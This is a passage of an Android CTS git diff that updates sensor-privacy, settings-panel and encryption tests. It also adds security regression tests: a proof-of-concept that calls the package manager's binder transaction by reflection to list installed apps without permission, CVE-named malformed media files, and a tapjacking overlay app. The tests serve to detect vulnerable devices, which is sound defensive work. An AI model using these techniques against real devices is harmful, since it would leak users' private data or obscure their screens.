     private var wasEnabled = false
     private val micLabel = packageManager.getPermissionGroupInfo(
         Manifest.permission_group.MICROPHONE, 0).loadLabel(packageManager).toString()
@@ -119,9 +120,10 @@
                 screenTimeoutBeforeTest
             )
         }
-
-        pressBack()
-        pressBack()
+        if (!isTv) {
+            pressBack()
+            pressBack()
+        }
         pressHome()
         pressHome()
         Thread.sleep(3000)
@@ -164,10 +166,10 @@
             assertTrue("View with text $APP_LABEL not found", appView.exists())
         }
 
-        if (packageManager.hasSystemFeature(PackageManager.FEATURE_LEANBACK)) {
+        if (isTv) {
             assertTvIndicatorsShown(useMic, useCamera, useHotword)
         } else if (packageManager.hasSystemFeature(PackageManager.FEATURE_AUTOMOTIVE)) {
-            assertCarIndicatorsShown(useMic, useCamera)
+            assertCarIndicatorsShown(useMic, useCamera, useHotword)
         } else {
             uiDevice.openQuickSettings()
             assertPrivacyChipAndIndicatorsPresent(useMic, useCamera)
@@ -192,26 +194,31 @@
         }
     }
 
-    private fun assertCarIndicatorsShown(useMic: Boolean, useCamera: Boolean) {
+    private fun assertCarIndicatorsShown(useMic: Boolean, useCamera: Boolean, useHotword: Boolean) {
         // Ensure the privacy chip is present (or not)
         val chipFound = isChipPresent()
-        if (useMic || useCamera) {
+        if (useMic) {
             assertTrue("Did not find chip", chipFound)
-        } else {
+        } else if (useHotword || useCamera) {
             assertFalse("Found chip, but did not expect to", chipFound)
             return
         }
 
         eventually {
-            if (useMic) {
-                val appView = uiDevice.findObject(UiSelector().textContains(micLabel))
+            if (useCamera || useHotword) {
+                // There should be no microphone dialog when using hot word and/or camera
+                val micLabelView = uiDevice.findObject(UiSelector().textContains(micLabel))
+                assertFalse("View with text $micLabel found, but did not expect to",
+                        micLabelView.exists())
+                val appView = uiDevice.findObject(UiSelector().textContains(APP_LABEL))
+                assertFalse("View with text $APP_LABEL found, but did not expect to",
+                        appView.exists())
+            } else if (useMic) {
+                val micLabelView = uiDevice.findObject(UiSelector().textContains(micLabel))
+                assertTrue("View with text $micLabel not found", micLabelView.exists())
+                val appView = uiDevice.findObject(UiSelector().textContains(APP_LABEL))
                 assertTrue("View with text $APP_LABEL not found", appView.exists())
             }
-            if (useCamera) {
-                // There is no camera indicator in Cars.
-            }
-            val appView = uiDevice.findObject(UiSelector().textContains(APP_LABEL))
-            assertTrue("View with text $APP_LABEL not found", appView.exists())
         }
     }
 
diff --git a/tests/tests/provider/src/android/provider/cts/SettingsPanelTest.java b/tests/tests/provider/src/android/provider/cts/SettingsPanelTest.java
index 6db2d4c..55fb3d0 100644
--- a/tests/tests/provider/src/android/provider/cts/SettingsPanelTest.java
+++ b/tests/tests/provider/src/android/provider/cts/SettingsPanelTest.java
@@ -29,8 +29,6 @@
 import android.support.test.uiautomator.UiObject2;
 import android.support.test.uiautomator.Until;
 
-import com.android.compatibility.common.util.RequiredServiceRule;
-
 import androidx.test.InstrumentationRegistry;
 import androidx.test.filters.MediumTest;
 import androidx.test.runner.AndroidJUnit4;
@@ -40,8 +38,6 @@
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
-import java.util.Arrays;
-
 /**
  * Tests related SettingsPanels:
  *
@@ -56,6 +52,7 @@
     private static final String RESOURCE_DONE = "done";
     private static final String RESOURCE_SEE_MORE = "see_more";
     private static final String RESOURCE_TITLE = "panel_title";
+    private static final String SYSTEMUI_PACKAGE_NAME = "com.android.systemui";
 
     private String mSettingsPackage;
     private String mLauncherPackage;
@@ -100,12 +97,12 @@
     // Check correct package is opened
 
     @Test
-    public void internetPanel_correctPackage() {
-        launchInternetPanel();
+    public void internetDialog_correctPackage() {
+        launchInternetDialog();
 
         String currentPackage = mDevice.getCurrentPackageName();
 
-        assertThat(currentPackage).isEqualTo(mSettingsPackage);
+        assertThat(currentPackage).isEqualTo(SYSTEMUI_PACKAGE_NAME);
     }
 
     @Test
@@ -137,18 +134,23 @@
     }
 
     @Test
-    public void internetPanel_doneClosesPanel() {
+    public void internetDialog_doneClosesDialog() {
         // Launch panel
-        launchInternetPanel();
+        launchInternetDialog();
         String currentPackage = mDevice.getCurrentPackageName();
-        assertThat(currentPackage).isEqualTo(mSettingsPackage);
+        assertThat(currentPackage).isEqualTo(SYSTEMUI_PACKAGE_NAME);
 
         // Click the done button
-        pressDone();
+        if (mHasTouchScreen) {
+            mDevice.findObject(By.res(SYSTEMUI_PACKAGE_NAME, RESOURCE_DONE)).click();
+            mDevice.wait(Until.hasObject(By.pkg(mLauncherPackage).depth(0)), TIMEOUT);
+        } else {
+            mDevice.pressBack();
+        }
 
         // Assert that we have left the panel
         currentPackage = mDevice.getCurrentPackageName();
-        assertThat(currentPackage).isNotEqualTo(mSettingsPackage);
+        assertThat(currentPackage).isNotEqualTo(SYSTEMUI_PACKAGE_NAME);
     }
 
     @Test
@@ -252,8 +254,19 @@
         launchPanel(Settings.Panel.ACTION_VOLUME);
     }
 
-    private void launchInternetPanel() {
-        launchPanel(Settings.Panel.ACTION_INTERNET_CONNECTIVITY);
+    private void launchInternetDialog() {
+        // Start from the home screen
+        mDevice.pressHome();
+        mDevice.wait(Until.hasObject(By.pkg(mLauncherPackage).depth(0)), TIMEOUT);
+
+        Intent intent = new Intent(Settings.Panel.ACTION_INTERNET_CONNECTIVITY);
+        intent.addFlags(Intent.FLAG_RECEIVER_FOREGROUND)
+                .setPackage(SYSTEMUI_PACKAGE_NAME);
+
+        mContext.sendBroadcast(intent);
+
+        // Wait for the app to appear
+        mDevice.wait(Until.hasObject(By.pkg(SYSTEMUI_PACKAGE_NAME).depth(0)), TIMEOUT);
     }
 
     private void launchNfcPanel() {
diff --git a/tests/tests/security/AndroidManifest.xml b/tests/tests/security/AndroidManifest.xml
index 45f69c1..675106f 100644
--- a/tests/tests/security/AndroidManifest.xml
+++ b/tests/tests/security/AndroidManifest.xml
@@ -26,6 +26,7 @@
     <uses-permission android:name="android.permission.MODIFY_AUDIO_SETTINGS"/>
     <uses-permission android:name="android.permission.RECORD_AUDIO"/>
     <uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW"/>
+    <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />
 
     <!-- For FileIntegrityManager -->
     <uses-permission android:name="android.permission.REQUEST_INSTALL_PACKAGES"/>
diff --git a/tests/tests/security/OWNERS b/tests/tests/security/OWNERS
index 5787345..0db6ed8 100644
--- a/tests/tests/security/OWNERS
+++ b/tests/tests/security/OWNERS
@@ -2,6 +2,6 @@
 cbrubaker@google.com
 jeffv@google.com
 nnk@google.com
-mspector@google.com
-manjaepark@google.com
+musashi@google.com
 cdombroski@google.com
+hubers@google.com
diff --git a/tests/tests/security/native/encryption/FileBasedEncryptionPolicyTest.cpp b/tests/tests/security/native/encryption/FileBasedEncryptionPolicyTest.cpp
index f852553..2952105 100644
--- a/tests/tests/security/native/encryption/FileBasedEncryptionPolicyTest.cpp
+++ b/tests/tests/security/native/encryption/FileBasedEncryptionPolicyTest.cpp
@@ -203,6 +203,7 @@
 // https://source.android.com/security/encryption/file-based.html
 TEST(FileBasedEncryptionPolicyTest, allowedPolicy) {
     int first_api_level = getFirstApiLevel();
+    char crypto_type[PROPERTY_VALUE_MAX];
     struct fscrypt_get_policy_ex_arg arg;
     int res;
     int contents_mode;
@@ -215,6 +216,8 @@
         FAIL() << "Failed to open " DIR_TO_CHECK ": " << strerror(errno);
     }
 
+    property_get("ro.crypto.type", crypto_type, "");
+    GTEST_LOG_(INFO) << "ro.crypto.type is '" << crypto_type << "'";
     GTEST_LOG_(INFO) << "First API level is " << first_api_level;
 
     // This feature name check only applies to devices that first shipped with
@@ -249,6 +252,15 @@
                         << "Exempt from file-based encryption due to old starting API level";
                 return;
             }
+            if (strcmp(crypto_type, "managed") == 0) {
+                // Android is running in a virtualized environment and the file system is encrypted
+                // by the host system.
+                GTEST_LOG_(INFO) << "Exempt from file-based encryption because the file system is "
+                                 << "encrypted by the host system";
+                // Note: All encryption-related CDD requirements still must be met,
+                // but they can't be tested directly in this case.
+                return;
+            }
             FAIL() << "Device isn't using file-based encryption";
         } else {
             FAIL() << "Failed to get encryption policy of " DIR_TO_CHECK ": " << strerror(errno);
diff --git a/tests/tests/security/res/raw/cve_2020_11299.mkv b/tests/tests/security/res/raw/cve_2020_11299.mkv
new file mode 100644
index 0000000..f2ff416
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2020_11299.mkv
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2021_0635_1.flv b/tests/tests/security/res/raw/cve_2021_0635_1.flv
new file mode 100644
index 0000000..8d87f04
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2021_0635_1.flv
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2021_0635_2.flv b/tests/tests/security/res/raw/cve_2021_0635_2.flv
new file mode 100644
index 0000000..beebacd
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2021_0635_2.flv
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2021_1910.mkv b/tests/tests/security/res/raw/cve_2021_1910.mkv
new file mode 100644
index 0000000..860d3513
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2021_1910.mkv
Binary files differ
diff --git a/tests/tests/security/src/android/security/cts/CVE_2021_0339.java b/tests/tests/security/src/android/security/cts/CVE_2021_0339.java
index 13b320f..5335a42 100644
--- a/tests/tests/security/src/android/security/cts/CVE_2021_0339.java
+++ b/tests/tests/security/src/android/security/cts/CVE_2021_0339.java
@@ -70,6 +70,7 @@
         launchActivity(FirstActivity.class, cb); // start activity with callback as intent extra
 
         // blocking while the remotecallback is unset
+        Log.i(TAG, "wait for callbackReturn.get(15)");
         int duration = callbackReturn.get(15, TimeUnit.SECONDS);
 
         // if we couldn't get the duration of secondactivity in firstactivity, the default is -1
@@ -97,25 +98,30 @@
 
         @Override
         public void onEnterAnimationComplete() {
+            Log.d(TAG,this.getLocalClassName()+" onEnterAnimationComplete() start");
             super.onEnterAnimationComplete();
             Intent intent = new Intent(this, SecondActivity.class);
             intent.putExtra("STARTED_TIMESTAMP", SystemClock.uptimeMillis());
             startActivityForResult(intent, DURATION_RESULT_CODE);
             overridePendingTransition(R.anim.translate2,R.anim.translate1);
-            Log.d(TAG,this.getLocalClassName()+" onEnterAnimationComplete()");
+            Log.d(TAG,this.getLocalClassName()+" onEnterAnimationComplete() stop");
         }
 
         @Override
         protected void onActivityResult(int requestCode,int resultCode, Intent data) {
+            Log.d(TAG,this.getLocalClassName()+" onActivityResult() start");
             super.onActivityResult(requestCode, resultCode, data);
             if (requestCode == DURATION_RESULT_CODE && resultCode == RESULT_OK) {
                 // this is the result that we requested
                 int duration = data.getIntExtra("duration", -1); // get result from secondactivity
+                Log.d(TAG,this.getLocalClassName()+" onActivityResult() duration=" + duration);
                 Bundle res = new Bundle();
                 res.putInt(RESULT_KEY, duration);
                 finish();
                 cb.sendResult(res); // update callback in test
+                Log.d(TAG,this.getLocalClassName()+" onActivityResult() result sent");
             }
+            Log.d(TAG,this.getLocalClassName()+" onActivityResult() stop");
         }
     }
 
@@ -126,6 +132,7 @@
     public static class SecondActivity extends Activity{
         @Override
         public void onEnterAnimationComplete() {
+            Log.d(TAG,this.getLocalClassName()+" onEnterAnimationComplete() start");
             super.onEnterAnimationComplete();
             long completedTs = SystemClock.uptimeMillis();
             long startedTs = getIntent().getLongExtra("STARTED_TIMESTAMP", 0);
diff --git a/tests/tests/security/src/android/security/cts/CVE_2021_0521.java b/tests/tests/security/src/android/security/cts/CVE_2021_0521.java
new file mode 100644
index 0000000..8a883ff
--- /dev/null
+++ b/tests/tests/security/src/android/security/cts/CVE_2021_0521.java
@@ -0,0 +1,91 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.os.IBinder;
+import android.os.Parcel;
+import android.platform.test.annotations.AsbSecurityTest;
+import android.platform.test.annotations.SecurityTest;
+import android.util.Log;
+import androidx.test.runner.AndroidJUnit4;
+import java.lang.reflect.Field;
+import java.util.Collections;
+import java.util.List;
+import org.junit.runner.RunWith;
+import org.junit.Test;
+
+import static org.hamcrest.core.Is.is;
+import static org.hamcrest.core.IsNot.not;
+import static org.junit.Assert.assertThat;
+import static org.junit.Assume.assumeThat;
+
+@RunWith(AndroidJUnit4.class)
+public class CVE_2021_0521 {
+
+    private String TAG = "CVE_2021_0521";
+
+    private int getFunctionCode(String className) {
+        int code = -1;
+        try {
+            Class c = Class.forName(className);
+            Field field = c.getDeclaredField("TRANSACTION_getAllPackages");
+            field.setAccessible(true);
+            code = field.getInt(c);
+        } catch (Exception e) {
+            Log.e(TAG, "Exception caught " + e.toString());
+        }
+        return code;
+    }
+
+    private IBinder getIBinderFromServiceManager(String serviceName) {
+        try {
+            return (IBinder) Class.forName("android.os.ServiceManager")
+                    .getMethod("getService", String.class).invoke(null, serviceName);
+        } catch (Exception e) {
+            return null;
+        }
+    }
+
+    /**
+     * b/174661955
+     */
+    @AsbSecurityTest(cveBugId = 174661955)
+    @SecurityTest(minPatchLevel = "2021-06")
+    @Test
+    public void testPocCVE_2021_0521() {
+        IBinder pmsBinder = getIBinderFromServiceManager("package");
+        List<String> allPkgList = Collections.<String>emptyList();
+        try {
+            String desciption = pmsBinder.getInterfaceDescriptor();
+            int code = getFunctionCode(desciption + "$Stub");
+            assumeThat(code, not(is(-1)));
+            Parcel send = Parcel.obtain();
+            Parcel reply = Parcel.obtain();
+            send.writeInterfaceToken(desciption);
+            if (pmsBinder.transact(code, send, reply, 0)) {
+                reply.readException();
+                allPkgList = reply.createStringArrayList();
+            }
+        } catch (Exception e) {
+            Log.e(TAG, "Exception caught " + e.toString());
+        } finally {
+            Log.e(TAG, "List of installed packages: " + allPkgList.toString());
+            assertThat("Got a non empty list of installed packages, hence device "
+                    + "is vulnerable to b/174661955", allPkgList.size(), is(0));
+        }
+    }
+}
diff --git a/tests/tests/security/src/android/security/cts/StagefrightTest.java b/tests/tests/security/src/android/security/cts/StagefrightTest.java
index 725cdbf..de8a5ef 100644
--- a/tests/tests/security/src/android/security/cts/StagefrightTest.java
+++ b/tests/tests/security/src/android/security/cts/StagefrightTest.java
@@ -1770,6 +1770,18 @@
      ***********************************************************/
 
     @Test
+    @AsbSecurityTest(cveBugId = 179039901)
+    public void testStagefright_cve_2021_1910() throws Exception {
+        doStagefrightTest(R.raw.cve_2021_1910);
+    }
+
+    @Test
+    @AsbSecurityTest(cveBugId = 175038625)
+    public void testStagefright_cve_2020_11299() throws Exception {
+        doStagefrightTest(R.raw.cve_2020_11299);
+    }
+
+    @Test
     @AsbSecurityTest(cveBugId = 162756960)
     public void testStagefright_cve_2020_11196() throws Exception {
         doStagefrightTest(R.raw.cve_2020_11196);
@@ -2404,6 +2416,11 @@
                 } catch (Exception e) {
                     // local exceptions ignored, not security issues
                 } finally {
+                    try {
+                        codec.stop();
+                    } catch (Exception e) {
+                        // local exceptions ignored, not security issues
+                    }
                     codec.release();
                     renderTarget.destroy();
                 }
@@ -2606,6 +2623,13 @@
         assertExtractorDoesNotHang(R.raw.bug_127313764);
     }
 
+    @Test
+    @AsbSecurityTest(cveBugId = 189402477)
+    public void testStagefright_cve_2021_0635() throws Exception {
+        doStagefrightTest(R.raw.cve_2021_0635_1);
+        doStagefrightTest(R.raw.cve_2021_0635_2);
+    }
+
     private int[] getFrameSizes(int rid) throws IOException {
         final Context context = getInstrumentation().getContext();
         final Resources resources =  context.getResources();
diff --git a/tests/tests/sensorprivacy/Android.bp b/tests/tests/sensorprivacy/Android.bp
index 63ac3dc..608f445 100644
--- a/tests/tests/sensorprivacy/Android.bp
+++ b/tests/tests/sensorprivacy/Android.bp
@@ -26,6 +26,7 @@
     test_suites: [
         "cts",
         "general-tests",
+        "sts",
     ],
     compile_multilib: "both",
     static_libs: [
diff --git a/tests/tests/sensorprivacy/AndroidTest.xml b/tests/tests/sensorprivacy/AndroidTest.xml
index 412b1ee..9c36e18 100644
--- a/tests/tests/sensorprivacy/AndroidTest.xml
+++ b/tests/tests/sensorprivacy/AndroidTest.xml
@@ -25,6 +25,7 @@
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsSensorPrivacyTestCases.apk" />
         <option name="test-file-name" value="CtsUseMicOrCameraForSensorPrivacy.apk" />
+        <option name="test-file-name" value="CtsUseMicOrCameraAndOverlayForSensorPrivacy.apk" />
     </target_preparer>
 
     <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
diff --git a/tests/tests/sensorprivacy/src/android/sensorprivacy/cts/SensorPrivacyBaseTest.kt b/tests/tests/sensorprivacy/src/android/sensorprivacy/cts/SensorPrivacyBaseTest.kt
index a133e19..2607eab 100644
--- a/tests/tests/sensorprivacy/src/android/sensorprivacy/cts/SensorPrivacyBaseTest.kt
+++ b/tests/tests/sensorprivacy/src/android/sensorprivacy/cts/SensorPrivacyBaseTest.kt
@@ -16,17 +16,17 @@
 
 package android.sensorprivacy.cts
 
-import android.app.KeyguardManager
 import android.app.AppOpsManager
+import android.app.KeyguardManager
 import android.content.Intent
 import android.content.pm.PackageManager
 import android.hardware.SensorPrivacyManager
 import android.hardware.SensorPrivacyManager.OnSensorPrivacyChangedListener
-import android.os.PowerManager
-import android.platform.test.annotations.AppModeFull
 import android.hardware.SensorPrivacyManager.Sensors.CAMERA
 import android.hardware.SensorPrivacyManager.Sensors.MICROPHONE
 import android.hardware.SensorPrivacyManager.Sources.OTHER
+import android.os.PowerManager
+import android.platform.test.annotations.AppModeFull
 import android.support.test.uiautomator.By
 import android.view.KeyEvent
 import androidx.test.platform.app.InstrumentationRegistry
@@ -57,6 +57,8 @@
     companion object {
         const val MIC_CAM_ACTIVITY_ACTION =
                 "android.sensorprivacy.cts.usemiccamera.action.USE_MIC_CAM"
+        const val MIC_CAM_OVERLAY_ACTIVITY_ACTION =
+                "android.sensorprivacy.cts.usemiccamera.overlay.action.USE_MIC_CAM"
         const val FINISH_MIC_CAM_ACTIVITY_ACTION =
                 "android.sensorprivacy.cts.usemiccamera.action.FINISH_USE_MIC_CAM"
         const val USE_MIC_EXTRA =
@@ -67,6 +69,8 @@
                 "android.sensorprivacy.cts.usemiccamera.extra.DELAYED_ACTIVITY"
         const val DELAYED_ACTIVITY_NEW_TASK_EXTRA =
                 "android.sensorprivacy.cts.usemiccamera.extra.DELAYED_ACTIVITY_NEW_TASK"
+        const val RETRY_CAM_EXTRA =
+                "android.sensorprivacy.cts.usemiccamera.extra.RETRY_CAM_EXTRA"
         const val PKG_NAME = "android.sensorprivacy.cts.usemiccamera"
         const val RECORDING_FILE_NAME = "${PKG_NAME}_record.mp4"
         const val ACTIVITY_TITLE_SNIP = "CtsUseMic"
@@ -84,7 +88,7 @@
     var oldState: Boolean = false
 
     @Before
-    fun init() {
+    open fun init() {
         oldState = isSensorPrivacyEnabled()
         setSensor(false)
         Assume.assumeTrue(spm.supportsSensorToggle(sensor))
@@ -187,6 +191,9 @@
     @Test
     @AppModeFull(reason = "Instant apps can't manage keyguard")
     fun testCantChangeWhenLocked() {
+        Assume.assumeTrue(packageManager
+                .hasSystemFeature(PackageManager.FEATURE_SECURE_LOCK_SCREEN))
+
         setSensor(false)
         assertFalse(isSensorPrivacyEnabled())
         runWhileLocked {
@@ -205,8 +212,12 @@
     }
 
     fun unblockSensorWithDialogAndAssert() {
-        UiAutomatorUtils.waitFindObject(By.text(
-                Pattern.compile("Unblock", Pattern.CASE_INSENSITIVE))).click()
+        val buttonResId = if (packageManager.hasSystemFeature(PackageManager.FEATURE_LEANBACK)) {
+            "com.android.systemui:id/bottom_sheet_positive_button"
+        } else {
+            "android:id/button1"
+        }
+        UiAutomatorUtils.waitFindObject(By.res(buttonResId)).click()
         eventually {
             assertFalse(isSensorPrivacyEnabled())
         }
@@ -234,7 +245,9 @@
     @AppModeFull(reason = "Uses secondary app, instant apps have no visibility")
     fun testOpStartsRunningAfterStartedWithSensoryPrivacyEnabled() {
         setSensor(true)
-        startTestApp()
+        // Retry camera connection because external cameras are disconnected
+        // if sensor privacy is enabled (b/182204067)
+        startTestApp(true)
         UiAutomatorUtils.waitFindObject(By.text(
                 Pattern.compile("Cancel", Pattern.CASE_INSENSITIVE))).click()
         assertOpRunning(false)
@@ -248,7 +261,9 @@
     @AppModeFull(reason = "Uses secondary app, instant apps have no visibility")
     fun testOpGetsRecordedAfterStartedWithSensorPrivacyEnabled() {
         setSensor(true)
-        startTestApp()
+        // Retry camera connection because external cameras are disconnected
+        // if sensor privacy is enabled (b/182204067)
+        startTestApp(true)
         UiAutomatorUtils.waitFindObject(By.text(
                 Pattern.compile("Cancel", Pattern.CASE_INSENSITIVE))).click()
         val before = System.currentTimeMillis()
@@ -314,13 +329,39 @@
         assertOpRunning(false)
     }
 
+    @Test
+    fun testTapjacking() {
+        setSensor(true)
+        startTestOverlayApp(false)
+        val view = UiAutomatorUtils.waitFindObjectOrNull(By.text("This Should Be Hidden"), 10_000)
+        assertNull("Overlay should not have shown.", view)
+    }
+
     private fun startTestApp() {
+        startTestApp(false)
+    }
+
+    private fun startTestApp(retryCameraOnError: Boolean) {
         val intent = Intent(MIC_CAM_ACTIVITY_ACTION)
                 .addFlags(Intent.FLAG_ACTIVITY_NEW_TASK)
                 .addFlags(Intent.FLAG_ACTIVITY_MATCH_EXTERNAL)
         for (extra in extras) {
             intent.putExtra(extra, true)
         }
+        intent.putExtra(RETRY_CAM_EXTRA, retryCameraOnError)
+        context.startActivity(intent)
+        // Wait for app to open
+        UiAutomatorUtils.waitFindObject(By.textContains(ACTIVITY_TITLE_SNIP))
+    }
+
+    private fun startTestOverlayApp(retryCameraOnError: Boolean) {
+        val intent = Intent(MIC_CAM_OVERLAY_ACTIVITY_ACTION)
+                .addFlags(Intent.FLAG_ACTIVITY_NEW_TASK)
+                .addFlags(Intent.FLAG_ACTIVITY_MATCH_EXTERNAL)
+        for (extra in extras) {
+            intent.putExtra(extra, true)
+        }
+        intent.putExtra(RETRY_CAM_EXTRA, retryCameraOnError)
         context.startActivity(intent)
         // Wait for app to open
         UiAutomatorUtils.waitFindObject(By.textContains(ACTIVITY_TITLE_SNIP))
diff --git a/tests/tests/sensorprivacy/src/android/sensorprivacy/cts/SensorPrivacyCameraTest.kt b/tests/tests/sensorprivacy/src/android/sensorprivacy/cts/SensorPrivacyCameraTest.kt
index 17a5d52..6e77422 100644
--- a/tests/tests/sensorprivacy/src/android/sensorprivacy/cts/SensorPrivacyCameraTest.kt
+++ b/tests/tests/sensorprivacy/src/android/sensorprivacy/cts/SensorPrivacyCameraTest.kt
@@ -17,5 +17,14 @@
 package android.sensorprivacy.cts
 
 import android.hardware.SensorPrivacyManager.Sensors.CAMERA
+import android.hardware.camera2.CameraManager
+import org.junit.Assume
 
-class SensorPrivacyCameraTest : SensorPrivacyBaseTest(CAMERA, USE_CAM_EXTRA)
+class SensorPrivacyCameraTest : SensorPrivacyBaseTest(CAMERA, USE_CAM_EXTRA) {
+
+    override fun init() {
+        val cameraManager: CameraManager = context.getSystemService(CameraManager::class.java)!!
+        Assume.assumeTrue("No camera available", cameraManager.cameraIdList.isNotEmpty())
+        super.init()
+    }
+}
diff --git a/hostsidetests/edi/app/Android.bp b/tests/tests/sensorprivacy/test-apps/CtsUseMicOrCameraAndOverlayForSensorPrivacy/Android.bp
similarity index 68%
rename from hostsidetests/edi/app/Android.bp
rename to tests/tests/sensorprivacy/test-apps/CtsUseMicOrCameraAndOverlayForSensorPrivacy/Android.bp
index 96f2870..551a78d 100644
--- a/hostsidetests/edi/app/Android.bp
+++ b/tests/tests/sensorprivacy/test-apps/CtsUseMicOrCameraAndOverlayForSensorPrivacy/Android.bp
@@ -1,38 +1,37 @@
-// Copyright (C) 2021 Google LLC.
+//
+// Copyright (C) 2021 The Android Open Source Project
 //
 // Licensed under the Apache License, Version 2.0 (the "License");
 // you may not use this file except in compliance with the License.
 // You may obtain a copy of the License at
 //
-//     http://www.apache.org/licenses/LICENSE-2.0
+//      http://www.apache.org/licenses/LICENSE-2.0
 //
 // Unless required by applicable law or agreed to in writing, software
 // distributed under the License is distributed on an "AS IS" BASIS,
 // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 // See the License for the specific language governing permissions and
 // limitations under the License.
+//
 
 package {
     default_applicable_licenses: ["Android-Apache-2.0"],
 }
 
 android_test_helper_app {
-    name: "CtsDeviceInfoTestApp",
-    srcs: ["src/**/*.java"],
+    name: "CtsUseMicOrCameraAndOverlayForSensorPrivacy",
     defaults: ["cts_defaults"],
-    min_sdk_version: "26",
-    target_sdk_version: "31",
-    static_libs: [
-        "androidx.test.rules",
-        "androidx.test.core",
-        "modules-utils-build",
-        "guava",
-    ],
+
     sdk_version: "test_current",
+
+    // Tag this module as a cts test artifact
     test_suites: [
-        "ats",
         "cts",
-        "gts",
         "general-tests",
     ],
+    srcs: ["src/**/*.kt"],
+
+    static_libs: [
+        "SensorPrivacyTestAppUtils",
+    ],
 }
diff --git a/tests/tests/sensorprivacy/test-apps/CtsUseMicOrCameraAndOverlayForSensorPrivacy/AndroidManifest.xml b/tests/tests/sensorprivacy/test-apps/CtsUseMicOrCameraAndOverlayForSensorPrivacy/AndroidManifest.xml
new file mode 100644
index 0000000..6ac01c7
--- /dev/null
+++ b/tests/tests/sensorprivacy/test-apps/CtsUseMicOrCameraAndOverlayForSensorPrivacy/AndroidManifest.xml
@@ -0,0 +1,43 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  ~ Copyright (C) 2021 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License
+  -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+          package="android.sensorprivacy.cts.usemiccamera.overlay"
+          android:versionCode="1"
+          android:targetSandboxVersion="2">
+
+    <uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW" />
+
+    <uses-permission android:name="android.permission.RECORD_AUDIO"/>
+    <uses-permission android:name="android.permission.CAMERA"/>
+
+    <uses-feature android:name="android.hardware.camera" />
+    <uses-feature android:name="android.hardware.microphone" />
+
+    <application android:label="CtsUseMicOrCameraForSensorPrivacy">
+        <activity android:name=".UseMicCamera"
+                  android:exported="true"
+                  android:visibleToInstantApps="true">
+            <intent-filter>
+                <action android:name="android.sensorprivacy.cts.usemiccamera.overlay.action.USE_MIC_CAM" />
+                <category android:name="android.intent.category.DEFAULT" />
+            </intent-filter>
+        </activity>
+        <activity android:name=".OverlayActivity"
+                  android:exported="false" />
+    </application>
+</manifest>
diff --git a/tests/tests/sensorprivacy/test-apps/CtsUseMicOrCameraAndOverlayForSensorPrivacy/src/android/sensorprivacy/cts/usemiccamera/overlay/OverlayActivity.kt b/tests/tests/sensorprivacy/test-apps/CtsUseMicOrCameraAndOverlayForSensorPrivacy/src/android/sensorprivacy/cts/usemiccamera/overlay/OverlayActivity.kt
new file mode 100644
index 0000000..5b6d930
--- /dev/null
+++ b/tests/tests/sensorprivacy/test-apps/CtsUseMicOrCameraAndOverlayForSensorPrivacy/src/android/sensorprivacy/cts/usemiccamera/overlay/OverlayActivity.kt
@@ -0,0 +1,30 @@
+package android.sensorprivacy.cts.usemiccamera.overlay
+
+import android.app.Activity
+import android.hardware.input.InputManager
+import android.os.Bundle
+import android.view.ViewGroup
+import android.view.WindowManager.LayoutParams
+import android.widget.FrameLayout
+import android.widget.TextView
+
+class OverlayActivity : Activity() {
+
+    override fun onCreate(savedInstanceState: Bundle?) {
+        super.onCreate(savedInstanceState)
+        val params = LayoutParams(
+                ViewGroup.LayoutParams.MATCH_PARENT, ViewGroup.LayoutParams.MATCH_PARENT)
+        params.type = LayoutParams.TYPE_APPLICATION_OVERLAY
+        params.flags = LayoutParams.FLAG_LAYOUT_NO_LIMITS or
+                LayoutParams.FLAG_NOT_TOUCH_MODAL or
+                LayoutParams.FLAG_NOT_TOUCHABLE or
+                LayoutParams.FLAG_KEEP_SCREEN_ON
+        params.alpha = getSystemService(InputManager::class.java)!!.maximumObscuringOpacityForTouch
+
+        val frameLayout = FrameLayout(this)
+        val textView = TextView(this)
+        textView.text = "This Should Be Hidden"
+        frameLayout.addView(textView)
+        windowManager.addView(frameLayout, params)
+    }
+}
\ No newline at end of file
diff --git a/tests/tests/sensorprivacy/test-apps/CtsUseMicOrCameraAndOverlayForSensorPrivacy/src/android/sensorprivacy/cts/usemiccamera/overlay/UseMicCamera.kt b/tests/tests/sensorprivacy/test-apps/CtsUseMicOrCameraAndOverlayForSensorPrivacy/src/android/sensorprivacy/cts/usemiccamera/overlay/UseMicCamera.kt
new file mode 100644
index 0000000..127564e
--- /dev/null
+++ b/tests/tests/sensorprivacy/test-apps/CtsUseMicOrCameraAndOverlayForSensorPrivacy/src/android/sensorprivacy/cts/usemiccamera/overlay/UseMicCamera.kt
@@ -0,0 +1,92 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
